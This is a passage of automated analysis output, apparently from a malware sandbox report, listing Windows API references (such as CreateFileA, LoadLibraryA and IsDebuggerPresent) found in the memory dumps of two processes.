File: "00000000-00002996.00000001.69499.00400000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00002996.00000001.69499.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalDeleteAtom"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalFindAtomA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalAddAtomA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalGetAtomNameA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalReAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GlobalFlags"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetProcessVersion"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFileTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found 